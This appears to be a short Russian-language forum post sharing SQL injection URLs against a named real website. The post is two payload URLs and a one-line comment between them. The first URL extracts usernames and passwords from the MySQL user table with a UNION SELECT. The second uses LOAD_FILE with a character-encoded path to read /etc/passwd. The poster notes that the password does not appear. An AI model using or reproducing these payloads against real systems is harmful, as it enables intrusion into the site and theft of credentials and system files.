http://www.mmcc.ru/events.php?id=1+union+select+1,concat(user,char(58 ),password)+from+mysql.user/*

х.з почему пасс не выводится...может его нет))

http://www.mmcc.ru/events.php?id=1+union+select+1,LOAD_FILE(char(47,1 01,116,99,47,112,97,115,115,119,100))+from+mysql.u ser/*